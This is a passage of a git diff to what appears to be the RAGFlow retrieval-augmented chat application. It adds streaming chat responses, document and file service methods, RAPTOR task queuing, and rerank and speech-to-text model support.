+        knowledges = [ck["content_with_weight"] for ck in kbinfos["chunks"]]
+
     chat_logger.info(
         "{}->{}".format(" ".join(questions), "\n->".join(knowledges)))
 
     if not knowledges and prompt_config.get("empty_response"):
-        return {
-            "answer": prompt_config["empty_response"], "reference": kbinfos}
+        yield {"answer": prompt_config["empty_response"], "reference": kbinfos}
+        return {"answer": prompt_config["empty_response"], "reference": kbinfos}
 
     kwargs["knowledge"] = "\n".join(knowledges)
     gen_conf = dialog.llm_setting
-    msg = [{"role": m["role"], "content": m["content"]}
-           for m in messages if m["role"] != "system"]
+
+    msg = [{"role": "system", "content": prompt_config["system"].format(**kwargs)}]
+    msg.extend([{"role": m["role"], "content": m["content"]}
+                for m in messages if m["role"] != "system"])
     used_token_count, msg = message_fit_in(msg, int(max_tokens * 0.97))
+    assert len(msg) >= 2, f"message_fit_in has bug: {msg}"
+
     if "max_tokens" in gen_conf:
         gen_conf["max_tokens"] = min(
             gen_conf["max_tokens"],
             max_tokens - used_token_count)
-    answer = chat_mdl.chat(
-        prompt_config["system"].format(
-            **kwargs), msg, gen_conf)
-    chat_logger.info("User: {}|Assistant: {}".format(
-        msg[-1]["content"], answer))
 
-    if knowledges and (prompt_config.get("quote", True) and kwargs.get("quote", True)):
-        answer, idx = retrievaler.insert_citations(answer,
-                                                   [ck["content_ltks"]
-                                                       for ck in kbinfos["chunks"]],
-                                                   [ck["vector"]
-                                                       for ck in kbinfos["chunks"]],
-                                                   embd_mdl,
-                                                   tkweight=1 - dialog.vector_similarity_weight,
-                                                   vtweight=dialog.vector_similarity_weight)
-        idx = set([kbinfos["chunks"][int(i)]["doc_id"] for i in idx])
-        recall_docs = [
-            d for d in kbinfos["doc_aggs"] if d["doc_id"] in idx]
-        if not recall_docs: recall_docs = kbinfos["doc_aggs"]
-        kbinfos["doc_aggs"] = recall_docs
+    def decorate_answer(answer):
+        nonlocal prompt_config, knowledges, kwargs, kbinfos
+        refs = []
+        if knowledges and (prompt_config.get("quote", True) and kwargs.get("quote", True)):
+            answer, idx = retr.insert_citations(answer,
+                                                       [ck["content_ltks"]
+                                                        for ck in kbinfos["chunks"]],
+                                                       [ck["vector"]
+                                                        for ck in kbinfos["chunks"]],
+                                                       embd_mdl,
+                                                       tkweight=1 - dialog.vector_similarity_weight,
+                                                       vtweight=dialog.vector_similarity_weight)
+            idx = set([kbinfos["chunks"][int(i)]["doc_id"] for i in idx])
+            recall_docs = [
+                d for d in kbinfos["doc_aggs"] if d["doc_id"] in idx]
+            if not recall_docs: recall_docs = kbinfos["doc_aggs"]
+            kbinfos["doc_aggs"] = recall_docs
 
-    for c in kbinfos["chunks"]:
-        if c.get("vector"):
-            del c["vector"]
-    if answer.lower().find("invalid key") >= 0 or answer.lower().find("invalid api")>=0:
-        answer += " Please set LLM API-Key in 'User Setting -> Model Providers -> API-Key'"
-    return {"answer": answer, "reference": kbinfos}
+            refs = deepcopy(kbinfos)
+            for c in refs["chunks"]:
+                if c.get("vector"):
+                    del c["vector"]
+
+        if answer.lower().find("invalid key") >= 0 or answer.lower().find("invalid api") >= 0:
+            answer += " Please set LLM API-Key in 'User Setting -> Model Providers -> API-Key'"
+        return {"answer": answer, "reference": refs}
+
+    if stream:
+        answer = ""
+        for ans in chat_mdl.chat_streamly(msg[0]["content"], msg[1:], gen_conf):
+            answer = ans
+            yield {"answer": answer, "reference": {}}
+        yield decorate_answer(answer)
+    else:
+        answer = chat_mdl.chat(
+            msg[0]["content"], msg[1:], gen_conf)
+        chat_logger.info("User: {}|Assistant: {}".format(
+            msg[-1]["content"], answer))
+        yield decorate_answer(answer)
 
 
 def use_sql(question, field_map, tenant_id, chat_mdl, quota=True):
@@ -179,7 +239,7 @@ def use_sql(question, field_map, tenant_id, chat_mdl, quota=True):
     def get_table():
         nonlocal sys_prompt, user_promt, question, tried_times
         sql = chat_mdl.chat(sys_prompt, [{"role": "user", "content": user_promt}], {
-                            "temperature": 0.06})
+            "temperature": 0.06})
         print(user_promt, sql)
         chat_logger.info(f"“{question}”==>{user_promt} get SQL: {sql}")
         sql = re.sub(r"[\r\n]+", " ", sql.lower())
@@ -248,17 +308,19 @@ def use_sql(question, field_map, tenant_id, chat_mdl, quota=True):
 
     # compose markdown table
     clmns = "|" + "|".join([re.sub(r"(/.*|（[^（）]+）)", "", field_map.get(tbl["columns"][i]["name"],
-                           tbl["columns"][i]["name"])) for i in clmn_idx]) + ("|Source|" if docid_idx and docid_idx else "|")
+                                                                        tbl["columns"][i]["name"])) for i in
+                            clmn_idx]) + ("|Source|" if docid_idx and docid_idx else "|")
 
     line = "|" + "|".join(["------" for _ in range(len(clmn_idx))]) + \
-        ("|------|" if docid_idx and docid_idx else "")
+           ("|------|" if docid_idx and docid_idx else "")
 
     rows = ["|" +
             "|".join([rmSpace(str(r[i])) for i in clmn_idx]).replace("None", " ") +
             "|" for r in tbl["rows"]]
     if quota:
         rows = "\n".join([r + f" ##{ii}$$ |" for ii, r in enumerate(rows)])
-    else: rows = "\n".join([r + f" ##{ii}$$ |" for ii, r in enumerate(rows)])
+    else:
+        rows = "\n".join([r + f" ##{ii}$$ |" for ii, r in enumerate(rows)])
     rows = re.sub(r"T[0-9]{2}:[0-9]{2}:[0-9]{2}(\.[0-9]+Z)?\|", "|", rows)
 
     if not docid_idx or not docnm_idx:
@@ -278,5 +340,46 @@ def use_sql(question, field_map, tenant_id, chat_mdl, quota=True):
     return {
         "answer": "\n".join([clmns, line, rows]),
         "reference": {"chunks": [{"doc_id": r[docid_idx], "docnm_kwd": r[docnm_idx]} for r in tbl["rows"]],
-                      "doc_aggs": [{"doc_id": did, "doc_name": d["doc_name"], "count": d["count"]} for did, d in doc_aggs.items()]}
+                      "doc_aggs": [{"doc_id": did, "doc_name": d["doc_name"], "count": d["count"]} for did, d in
+                                   doc_aggs.items()]}
     }
+
+
+def relevant(tenant_id, llm_id, question, contents: list):
+    if llm_id2llm_type(llm_id) == "image2text":
+        chat_mdl = LLMBundle(tenant_id, LLMType.IMAGE2TEXT, llm_id)
+    else:
+        chat_mdl = LLMBundle(tenant_id, LLMType.CHAT, llm_id)
+    prompt = """
+        You are a grader assessing relevance of a retrieved document to a user question. 
+        It does not need to be a stringent test. The goal is to filter out erroneous retrievals.
+        If the document contains keyword(s) or semantic meaning related to the user question, grade it as relevant. 
+        Give a binary score 'yes' or 'no' score to indicate whether the document is relevant to the question.
+        No other words needed except 'yes' or 'no'.
+    """
+    if not contents:return False
+    contents = "Documents: \n" + "   - ".join(contents)
+    contents = f"Question: {question}\n" + contents
+    if num_tokens_from_string(contents) >= chat_mdl.max_length - 4:
+        contents = encoder.decode(encoder.encode(contents)[:chat_mdl.max_length - 4])
+    ans = chat_mdl.chat(prompt, [{"role": "user", "content": contents}], {"temperature": 0.01})
+    if ans.lower().find("yes") >= 0: return True
+    return False
+
+
+def rewrite(tenant_id, llm_id, question):
+    if llm_id2llm_type(llm_id) == "image2text":
+        chat_mdl = LLMBundle(tenant_id, LLMType.IMAGE2TEXT, llm_id)
+    else:
+        chat_mdl = LLMBundle(tenant_id, LLMType.CHAT, llm_id)
+    prompt = """
+        You are an expert at query expansion to generate a paraphrasing of a question.
+        I can't retrieval relevant information from the knowledge base by using user's question directly.     
+        You need to expand or paraphrase user's question by multiple ways such as using synonyms words/phrase, 
+        writing the abbreviation in its entirety, adding some extra descriptions or explanations, 
+        changing the way of expression, translating the original question into another language (English/Chinese), etc. 
+        And return 5 versions of question and one is from translation.
+        Just list the question. No other words are needed.
+    """
+    ans = chat_mdl.chat(prompt, [{"role": "user", "content": question}], {"temperature": 0.8})
+    return ans

api/db/services/document_service.py

@@ -16,9 +16,12 @@
 import random
 from datetime import datetime
 from elasticsearch_dsl import Q
+from peewee import fn
 
+from api.db.db_utils import bulk_insert_into_db
 from api.settings import stat_logger
-from api.utils import current_timestamp, get_format_time
+from api.utils import current_timestamp, get_format_time, get_uuid
+from rag.settings import SVR_QUEUE_NAME
 from rag.utils.es_conn import ELASTICSEARCH
 from rag.utils.minio_conn import MINIO
 from rag.nlp import search
@@ -29,6 +32,7 @@ from api.db.db_models import Document
 from api.db.services.common_service import CommonService
 from api.db.services.knowledgebase_service import KnowledgebaseService
 from api.db import StatusEnum
+from rag.utils.redis_conn import REDIS_CONN
 
 
 class DocumentService(CommonService):
@@ -40,8 +44,9 @@ class DocumentService(CommonService):
                      orderby, desc, keywords):
         if keywords:
             docs = cls.model.select().where(
-                cls.model.kb_id == kb_id,
-                cls.model.name.like(f"%%{keywords}%%"))
+                (cls.model.kb_id == kb_id),
+                (fn.LOWER(cls.model.name).contains(keywords.lower()))
+            )
         else:
             docs = cls.model.select().where(cls.model.kb_id == kb_id)
         count = docs.count()
@@ -54,6 +59,35 @@ class DocumentService(CommonService):
 
         return list(docs.dicts()), count
 
+    @classmethod
+    @DB.connection_context()
+    def list_documents_in_dataset(cls, dataset_id, offset, count, order_by, descend, keywords):
+        if keywords:
+            docs = cls.model.select().where(
+                (cls.model.kb_id == dataset_id),
+                (fn.LOWER(cls.model.name).contains(keywords.lower()))
+            )
+        else:
+            docs = cls.model.select().where(cls.model.kb_id == dataset_id)
+
+        total = docs.count()
+
+        if descend == 'True':
+            docs = docs.order_by(cls.model.getter_by(order_by).desc())
+        if descend == 'False':
+            docs = docs.order_by(cls.model.getter_by(order_by).asc())
+
+        docs = list(docs.dicts())
+        docs_length = len(docs)
+
+        if offset < 0 or offset > docs_length:
+            raise IndexError("Offset is out of the valid range.")
+
+        if count == -1:
+            return docs[offset:], total
+
+        return docs[offset:offset + count], total
+
     @classmethod
     @DB.connection_context()
     def insert(cls, doc):
@@ -68,27 +102,12 @@ class DocumentService(CommonService):
             raise RuntimeError("Database error (Knowledgebase)!")
         return doc
 
-    @classmethod
-    @DB.connection_context()
-    def delete(cls, doc):
-        e, kb = KnowledgebaseService.get_by_id(doc.kb_id)
-        if not KnowledgebaseService.update_by_id(
-                kb.id, {"doc_num": kb.doc_num - 1}):
-            raise RuntimeError("Database error (Knowledgebase)!")
-        return cls.delete_by_id(doc.id)
-
     @classmethod
     @DB.connection_context()
     def remove_document(cls, doc, tenant_id):
         ELASTICSEARCH.deleteByQuery(
-            Q("match", doc_id=doc.id), idxnm=search.index_name(tenant_id))
-
-        cls.increment_chunk_num(
-            doc.id, doc.kb_id, doc.token_num * -1, doc.chunk_num * -1, 0)
-        if not cls.delete(doc):
-            raise RuntimeError("Database error (Document removal)!")
-
-        MINIO.rm(doc.kb_id, doc.location)
+                Q("match", doc_id=doc.id), idxnm=search.index_name(tenant_id))
+        cls.clear_chunk_num(doc.id)
         return cls.delete_by_id(doc.id)
 
     @classmethod
@@ -123,7 +142,7 @@ class DocumentService(CommonService):
     @classmethod
     @DB.connection_context()
     def get_unfinished_docs(cls):
-        fields = [cls.model.id, cls.model.process_begin_at]
+        fields = [cls.model.id, cls.model.process_begin_at, cls.model.parser_config, cls.model.progress_msg, cls.model.run]
         docs = cls.model.select(*fields) \
             .where(
                 cls.model.status == StatusEnum.VALID.value,
@@ -149,6 +168,41 @@ class DocumentService(CommonService):
             chunk_num).where(
             Knowledgebase.id == kb_id).execute()
         return num
+    
+    @classmethod
+    @DB.connection_context()
+    def decrement_chunk_num(cls, doc_id, kb_id, token_num, chunk_num, duation):
+        num = cls.model.update(token_num=cls.model.token_num - token_num,
+                               chunk_num=cls.model.chunk_num - chunk_num,
+                               process_duation=cls.model.process_duation + duation).where(
+            cls.model.id == doc_id).execute()
+        if num == 0:
+            raise LookupError(
+                "Document not found which is supposed to be there")
+        num = Knowledgebase.update(
+            token_num=Knowledgebase.token_num -
+            token_num,
+            chunk_num=Knowledgebase.chunk_num -
+            chunk_num
+        ).where(
+            Knowledgebase.id == kb_id).execute()
+        return num
+    
+    @classmethod
+    @DB.connection_context()
+    def clear_chunk_num(cls, doc_id):
+        doc = cls.model.get_by_id(doc_id)
+        assert doc, "Can't fine document in database."
+
+        num = Knowledgebase.update(
+            token_num=Knowledgebase.token_num -
+            doc.token_num,
+            chunk_num=Knowledgebase.chunk_num -
+            doc.chunk_num,
+            doc_num=Knowledgebase.doc_num-1
+        ).where(
+            Knowledgebase.id == doc.kb_id).execute()
+        return num
 
     @classmethod
     @DB.connection_context()
@@ -163,6 +217,43 @@ class DocumentService(CommonService):
             return
         return docs[0]["tenant_id"]
 
+    @classmethod
+    @DB.connection_context()
+    def get_tenant_id_by_name(cls, name):
+        docs = cls.model.select(
+            Knowledgebase.tenant_id).join(
+            Knowledgebase, on=(
+                    Knowledgebase.id == cls.model.kb_id)).where(
+            cls.model.name == name, Knowledgebase.status == StatusEnum.VALID.value)
+        docs = docs.dicts()
+        if not docs:
+            return
+        return docs[0]["tenant_id"]
+
+    @classmethod
+    @DB.connection_context()
+    def get_embd_id(cls, doc_id):
+        docs = cls.model.select(
+            Knowledgebase.embd_id).join(
+            Knowledgebase, on=(
+                Knowledgebase.id == cls.model.kb_id)).where(
+                cls.model.id == doc_id, Knowledgebase.status == StatusEnum.VALID.value)
+        docs = docs.dicts()
+        if not docs:
+            return
+        return docs[0]["embd_id"]
+    
+    @classmethod
+    @DB.connection_context()
+    def get_doc_id_by_doc_name(cls, doc_name):
+        fields = [cls.model.id]
+        doc_id = cls.model.select(*fields) \
+            .where(cls.model.name == doc_name)
+        doc_id = doc_id.dicts()
+        if not doc_id:
+            return
+        return doc_id[0]["id"]
+
     @classmethod
     @DB.connection_context()
     def get_thumbnails(cls, docids):
@@ -220,7 +311,8 @@ class DocumentService(CommonService):
                 prg = 0
                 finished = True
                 bad = 0
-                status = TaskStatus.RUNNING.value
+                e, doc = DocumentService.get_by_id(d["id"])
+                status = doc.run#TaskStatus.RUNNING.value
                 for t in tsks:
                     if 0 <= t.progress < 1:
                         finished = False
@@ -233,7 +325,12 @@ class DocumentService(CommonService):
                     prg = -1
                     status = TaskStatus.FAIL.value
                 elif finished:
-                    status = TaskStatus.DONE.value
+                    if d["parser_config"].get("raptor", {}).get("use_raptor") and d["progress_msg"].lower().find(" raptor")<0:
+                        queue_raptor_tasks(d)
+                        prg *= 0.98
+                        msg.append("------ RAPTOR -------")
+                    else:
+                        status = TaskStatus.DONE.value
 
                 msg = "\n".join(msg)
                 info = {
@@ -249,3 +346,36 @@ class DocumentService(CommonService):
             except Exception as e:
                 stat_logger.error("fetch task exception:" + str(e))
 
+    @classmethod
+    @DB.connection_context()
+    def get_kb_doc_count(cls, kb_id):
+        return len(cls.model.select(cls.model.id).where(
+            cls.model.kb_id == kb_id).dicts())
+
+
+    @classmethod
+    @DB.connection_context()
+    def do_cancel(cls, doc_id):
+        try:
+            _, doc = DocumentService.get_by_id(doc_id)
+            return doc.run == TaskStatus.CANCEL.value or doc.progress < 0
+        except Exception as e:
+            pass
+        return False
+
+
+def queue_raptor_tasks(doc):
+    def new_task():
+        nonlocal doc
+        return {
+            "id": get_uuid(),
+            "doc_id": doc["id"],
+            "from_page": 0,
+            "to_page": -1,
+            "progress_msg": "Start to do RAPTOR (Recursive Abstractive Processing For Tree-Organized Retrieval)."
+        }
+
+    task = new_task()
+    bulk_insert_into_db(Task, [task], True)
+    task["type"] = "raptor"
+    assert REDIS_CONN.queue_product(SVR_QUEUE_NAME, message=task), "Can't access Redis. Please check the Redis' status."

api/db/services/file2document_service.py

@@ -15,12 +15,12 @@
 #
 from datetime import datetime
 
+from api.db import FileSource
 from api.db.db_models import DB
-from api.db.db_models import File, Document, File2Document
+from api.db.db_models import File, File2Document
 from api.db.services.common_service import CommonService
 from api.db.services.document_service import DocumentService
-from api.db.services.file_service import FileService
-from api.utils import current_timestamp, datetime_format
+from api.utils import current_timestamp, datetime_format, get_uuid
 
 
 class File2DocumentService(CommonService):
@@ -71,13 +71,15 @@ class File2DocumentService(CommonService):
     @DB.connection_context()
     def get_minio_address(cls, doc_id=None, file_id=None):
         if doc_id:
-            ids = File2DocumentService.get_by_document_id(doc_id)
+            f2d = cls.get_by_document_id(doc_id)
         else:
-            ids = File2DocumentService.get_by_file_id(file_id)
-        if ids:
-            e, file = FileService.get_by_id(ids[0].file_id)
-            return file.parent_id, file.location
-        else:
-            assert doc_id, "please specify doc_id"
-            e, doc = DocumentService.get_by_id(doc_id)
-            return doc.kb_id, doc.location
+            f2d = cls.get_by_file_id(file_id)
+        if f2d:
+            file = File.get_by_id(f2d[0].file_id)
+            if file.source_type == FileSource.LOCAL:
+                return file.parent_id, file.location
+            doc_id = f2d[0].document_id
+
+        assert doc_id, "please specify doc_id"
+        e, doc = DocumentService.get_by_id(doc_id)
+        return doc.kb_id, doc.location

api/db/services/file_service.py

@@ -16,10 +16,12 @@
 from flask_login import current_user
 from peewee import fn
 
-from api.db import FileType
+from api.db import FileType, KNOWLEDGEBASE_FOLDER_NAME, FileSource
 from api.db.db_models import DB, File2Document, Knowledgebase
 from api.db.db_models import File, Document
 from api.db.services.common_service import CommonService
+from api.db.services.document_service import DocumentService
+from api.db.services.file2document_service import File2DocumentService
 from api.utils import get_uuid
 
 
@@ -32,11 +34,16 @@ class FileService(CommonService):
                      orderby, desc, keywords):
         if keywords:
             files = cls.model.select().where(
-                (cls.model.tenant_id == tenant_id)
-                & (cls.model.parent_id == pf_id), (fn.LOWER(cls.model.name).like(f"%%{keywords.lower()}%%")))
+                (cls.model.tenant_id == tenant_id),
+                (cls.model.parent_id == pf_id),
+                (fn.LOWER(cls.model.name).contains(keywords.lower())),
+                ~(cls.model.id == pf_id)
+            )
         else:
-            files = cls.model.select().where((cls.model.tenant_id == tenant_id)
-                                             & (cls.model.parent_id == pf_id))
+            files = cls.model.select().where((cls.model.tenant_id == tenant_id),
+                                             (cls.model.parent_id == pf_id),
+                                             ~(cls.model.id == pf_id)
+                                             )
         count = files.count()
         if desc:
             files = files.order_by(cls.model.getter_by(orderby).desc())
@@ -135,29 +142,68 @@ class FileService(CommonService):
     @classmethod
     @DB.connection_context()
     def get_root_folder(cls, tenant_id):
-        file = cls.model.select().where(cls.model.tenant_id == tenant_id and
-                                        cls.model.parent_id == cls.model.id)
-        if not file:
-            file_id = get_uuid()
-            file = {
-                "id": file_id,
-                "parent_id": file_id,
-                "tenant_id": tenant_id,
-                "created_by": tenant_id,
-                "name": "/",
-                "type": FileType.FOLDER.value,
-                "size": 0,
-                "location": "",
-            }
-            cls.save(**file)
-        else:
-            file_id = file[0].id
+        for file in cls.model.select().where((cls.model.tenant_id == tenant_id),
+                                        (cls.model.parent_id == cls.model.id)
+                                        ):
+            return file.to_dict()
 
-        e, file = cls.get_by_id(file_id)
-        if not e:
-            raise RuntimeError("Database error (File retrieval)!")
+        file_id = get_uuid()
+        file = {
+            "id": file_id,
+            "parent_id": file_id,
+            "tenant_id": tenant_id,
+            "created_by": tenant_id,
+            "name": "/",
+            "type": FileType.FOLDER.value,
+            "size": 0,
+            "location": "",
+        }
+        cls.save(**file)
         return file
 
+    @classmethod
+    @DB.connection_context()
+    def get_kb_folder(cls, tenant_id):
+        for root in cls.model.select().where(
+                (cls.model.tenant_id == tenant_id), (cls.model.parent_id == cls.model.id)):
+            for folder in cls.model.select().where(
+                    (cls.model.tenant_id == tenant_id), (cls.model.parent_id == root.id),
+                    (cls.model.name == KNOWLEDGEBASE_FOLDER_NAME)):
+                return folder.to_dict()
+        assert False, "Can't find the KB folder. Database init error."
+
+    @classmethod
+    @DB.connection_context()
+    def new_a_file_from_kb(cls, tenant_id, name, parent_id, ty=FileType.FOLDER.value, size=0, location=""):
+        for file in cls.query(tenant_id=tenant_id, parent_id=parent_id, name=name):
+            return file.to_dict()
+        file = {
+            "id": get_uuid(),
+            "parent_id": parent_id,
+            "tenant_id": tenant_id,
+            "created_by": tenant_id,
+            "name": name,
+            "type": ty,
+            "size": size,
+            "location": location,
+            "source_type": FileSource.KNOWLEDGEBASE
+        }
+        cls.save(**file)
+        return file
+
+    @classmethod
+    @DB.connection_context()
+    def init_knowledgebase_docs(cls, root_id, tenant_id):
+        for _ in cls.model.select().where((cls.model.name == KNOWLEDGEBASE_FOLDER_NAME)\
+                                          & (cls.model.parent_id == root_id)):
+            return
+        folder = cls.new_a_file_from_kb(tenant_id, KNOWLEDGEBASE_FOLDER_NAME, root_id)
+
+        for kb in Knowledgebase.select(*[Knowledgebase.id, Knowledgebase.name]).where(Knowledgebase.tenant_id==tenant_id):
+            kb_folder = cls.new_a_file_from_kb(tenant_id, kb.name, folder["id"])
+            for doc in DocumentService.query(kb_id=kb.id):
+                FileService.add_file_from_kb(doc.to_dict(), kb_folder["id"], tenant_id)
+
     @classmethod
     @DB.connection_context()
     def get_parent_folder(cls, file_id):
@@ -241,3 +287,29 @@ class FileService(CommonService):
         dfs(folder_id)
         return size
 
+    @classmethod
+    @DB.connection_context()
+    def add_file_from_kb(cls, doc, kb_folder_id, tenant_id):
+        for _ in File2DocumentService.get_by_document_id(doc["id"]): return
+        file = {
+            "id": get_uuid(),
+            "parent_id": kb_folder_id,
+            "tenant_id": tenant_id,
+            "created_by": tenant_id,
+            "name": doc["name"],
+            "type": doc["type"],
+            "size": doc["size"],
+            "location": doc["location"],
+            "source_type": FileSource.KNOWLEDGEBASE
+        }
+        cls.save(**file)
+        File2DocumentService.save(**{"id": get_uuid(), "file_id": file["id"], "document_id": doc["id"]})
+    
+    @classmethod
+    @DB.connection_context()
+    def move_file(cls, file_ids, folder_id):
+        try:
+            cls.filter_update((cls.model.id << file_ids, ), { 'parent_id': folder_id })
+        except Exception as e:
+            print(e)
+            raise RuntimeError("Database error (File move)!")

api/db/services/kb_service.py

@@ -1,67 +0,0 @@
-#
-#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
-#
-#  Licensed under the Apache License, Version 2.0 (the "License");
-#  you may not use this file except in compliance with the License.
-#  You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-#  Unless required by applicable law or agreed to in writing, software
-#  distributed under the License is distributed on an "AS IS" BASIS,
-#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-#  See the License for the specific language governing permissions and
-#  limitations under the License.
-#
-
-from api.db import TenantPermission
-from api.db.db_models import DB, Tenant
-from api.db.db_models import Knowledgebase
-from api.db.services.common_service import CommonService
-from api.db import StatusEnum
-
-
-class KnowledgebaseService(CommonService):
-    model = Knowledgebase
-
-    @classmethod
-    @DB.connection_context()
-    def get_by_tenant_ids(cls, joined_tenant_ids, user_id,
-                          page_number, items_per_page, orderby, desc):
-        kbs = cls.model.select().where(
-            ((cls.model.tenant_id.in_(joined_tenant_ids) & (cls.model.permission ==
-             TenantPermission.TEAM.value)) | (cls.model.tenant_id == user_id))
-            & (cls.model.status == StatusEnum.VALID.value)
-        )
-        if desc:
-            kbs = kbs.order_by(cls.model.getter_by(orderby).desc())
-        else:
-            kbs = kbs.order_by(cls.model.getter_by(orderby).asc())
-
-        kbs = kbs.paginate(page_number, items_per_page)
-
-        return list(kbs.dicts())
-
-    @classmethod
-    @DB.connection_context()
-    def get_detail(cls, kb_id):
-        fields = [
-            cls.model.id,
-            Tenant.embd_id,
-            cls.model.avatar,
-            cls.model.name,
-            cls.model.description,
-            cls.model.permission,
-            cls.model.doc_num,
-            cls.model.token_num,
-            cls.model.chunk_num,
-            cls.model.parser_id]
-        kbs = cls.model.select(*fields).join(Tenant, on=((Tenant.id == cls.model.tenant_id)&(Tenant.status== StatusEnum.VALID.value))).where(
-            (cls.model.id == kb_id),
-            (cls.model.status == StatusEnum.VALID.value)
-        )
-        if not kbs:
-            return
-        d = kbs[0].to_dict()
-        d["embd_id"] = kbs[0].tenant.embd_id
-        return d

api/db/services/knowledgebase_service.py

@@ -40,6 +40,31 @@ class KnowledgebaseService(CommonService):
 
         return list(kbs.dicts())
 
+    @classmethod
+    @DB.connection_context()
+    def get_by_tenant_ids_by_offset(cls, joined_tenant_ids, user_id, offset, count, orderby, desc):
+        kbs = cls.model.select().where(
+            ((cls.model.tenant_id.in_(joined_tenant_ids) & (cls.model.permission ==
+                                                            TenantPermission.TEAM.value)) | (
+                     cls.model.tenant_id == user_id))
+            & (cls.model.status == StatusEnum.VALID.value)
+        )
+        if desc:
+            kbs = kbs.order_by(cls.model.getter_by(orderby).desc())
+        else:
+            kbs = kbs.order_by(cls.model.getter_by(orderby).asc())
+
+        kbs = list(kbs.dicts())
+
+        kbs_length = len(kbs)
+        if offset < 0 or offset > kbs_length:
+            raise IndexError("Offset is out of the valid range.")
+
+        if count == -1:
+            return kbs[offset:]
+
+        return kbs[offset:offset+count]
+
     @classmethod
     @DB.connection_context()
     def get_detail(cls, kb_id):
@@ -112,3 +137,8 @@ class KnowledgebaseService(CommonService):
         if kb:
             return True, kb[0]
         return False, None
+
+    @classmethod
+    @DB.connection_context()
+    def get_all_ids(cls):
+        return [m["id"] for m in cls.model.select(cls.model.id).dicts()]

api/db/services/llm_service.py

@@ -15,7 +15,7 @@
 #
 from api.db.services.user_service import TenantService
 from api.settings import database_logger
-from rag.llm import EmbeddingModel, CvModel, ChatModel
+from rag.llm import EmbeddingModel, CvModel, ChatModel, RerankModel, Seq2txtModel
 from api.db import LLMType
 from api.db.db_models import DB, UserTenant
 from api.db.db_models import LLMFactories, LLM, TenantLLM
@@ -70,24 +70,28 @@ class TenantLLMService(CommonService):
         elif llm_type == LLMType.SPEECH2TEXT.value:
             mdlnm = tenant.asr_id
         elif llm_type == LLMType.IMAGE2TEXT.value:
-            mdlnm = tenant.img2txt_id
+            mdlnm = tenant.img2txt_id if not llm_name else llm_name
         elif llm_type == LLMType.CHAT.value:
             mdlnm = tenant.llm_id if not llm_name else llm_name
+        elif llm_type == LLMType.RERANK:
+            mdlnm = tenant.rerank_id if not llm_name else llm_name
         else:
             assert False, "LLM type error"
 
         model_config = cls.get_api_key(tenant_id, mdlnm)
         if model_config: model_config = model_config.to_dict()
         if not model_config:
-            if llm_type == LLMType.EMBEDDING.value:
-                llm = LLMService.query(llm_name=llm_name)
-                if llm and llm[0].fid in ["Youdao", "FastEmbed"]:
-                    model_config = {"llm_factory": llm[0].fid, "api_key":"", "llm_name": llm_name, "api_base": ""}
+            if llm_type in [LLMType.EMBEDDING, LLMType.RERANK]:
+                llm = LLMService.query(llm_name=llm_name if llm_name else mdlnm)
+                if llm and llm[0].fid in ["Youdao", "FastEmbed", "BAAI"]:
+                    model_config = {"llm_factory": llm[0].fid, "api_key":"", "llm_name": llm_name if llm_name else mdlnm, "api_base": ""}
             if not model_config:
                 if llm_name == "flag-embedding":
                     model_config = {"llm_factory": "Tongyi-Qianwen", "api_key": "",
                                 "llm_name": llm_name, "api_base": ""}
                 else:
+                    if not mdlnm:
+                        raise LookupError(f"Type of {llm_type} model is not set.")
                     raise LookupError("Model({}) not authorized".format(mdlnm))
 
         if llm_type == LLMType.EMBEDDING.value:
@@ -96,6 +100,12 @@ class TenantLLMService(CommonService):
             return EmbeddingModel[model_config["llm_factory"]](
                 model_config["api_key"], model_config["llm_name"], base_url=model_config["api_base"])
 
+        if llm_type == LLMType.RERANK:
+            if model_config["llm_factory"] not in RerankModel:
+                return
+            return RerankModel[model_config["llm_factory"]](
+                model_config["api_key"], model_config["llm_name"], base_url=model_config["api_base"])
+
         if llm_type == LLMType.IMAGE2TEXT.value:
             if model_config["llm_factory"] not in CvModel:
                 return
@@ -110,6 +120,14 @@ class TenantLLMService(CommonService):
             return ChatModel[model_config["llm_factory"]](
                 model_config["api_key"], model_config["llm_name"], base_url=model_config["api_base"])
 
+        if llm_type == LLMType.SPEECH2TEXT:
+            if model_config["llm_factory"] not in Seq2txtModel:
+                return
+            return Seq2txtModel[model_config["llm_factory"]](
+                model_config["api_key"], model_config["llm_name"], lang,
+                base_url=model_config["api_base"]
+            )
+
     @classmethod
     @DB.connection_context()
     def increase_usage(cls, tenant_id, llm_type, used_tokens, llm_name=None):
@@ -125,16 +143,31 @@ class TenantLLMService(CommonService):
             mdlnm = tenant.img2txt_id
         elif llm_type == LLMType.CHAT.value:
             mdlnm = tenant.llm_id if not llm_name else llm_name
+        elif llm_type == LLMType.RERANK:
+            mdlnm = tenant.llm_id if not llm_name else llm_name
         else:
             assert False, "LLM type error"
 
         num = 0
-        for u in cls.query(tenant_id = tenant_id, llm_name=mdlnm):
-            num += cls.model.update(used_tokens = u.used_tokens + used_tokens)\
-                .where(cls.model.tenant_id == tenant_id, cls.model.llm_name == mdlnm)\
-                .execute()
+        try:
+            for u in cls.query(tenant_id = tenant_id, llm_name=mdlnm):
+                num += cls.model.update(used_tokens = u.used_tokens + used_tokens)\
+                    .where(cls.model.tenant_id == tenant_id, cls.model.llm_name == mdlnm)\
+                    .execute()
+        except Exception as e:
+            pass
         return num
 
+    @classmethod
+    @DB.connection_context()
+    def get_openai_models(cls):
+        objs = cls.model.select().where(
+            (cls.model.llm_factory == "OpenAI"),
+            ~(cls.model.llm_name == "text-embedding-3-small"),
+            ~(cls.model.llm_name == "text-embedding-3-large")
+        ).dicts()
+        return list(objs)
+
 
 class LLMBundle(object):
     def __init__(self, tenant_id, llm_type, llm_name=None, lang="Chinese"):
@@ -145,6 +178,10 @@ class LLMBundle(object):
             tenant_id, llm_type, llm_name, lang=lang)
         assert self.mdl, "Can't find mole for {}/{}/{}".format(
             tenant_id, llm_type, llm_name)
+        self.max_length = 512
+        for lm in LLMService.query(llm_name=llm_name):
+            self.max_length = lm.max_tokens
+            break
 
     def encode(self, texts: list, batch_size=32):
         emd, used_tokens = self.mdl.encode(texts, batch_size)
@@ -162,6 +199,14 @@ class LLMBundle(object):
                 "Can't update token usage for {}/EMBEDDING".format(self.tenant_id))
         return emd, used_tokens
 
+    def similarity(self, query: str, texts: list):
+        sim, used_tokens = self.mdl.similarity(query, texts)
+        if not TenantLLMService.increase_usage(
+                self.tenant_id, self.llm_type, used_tokens):
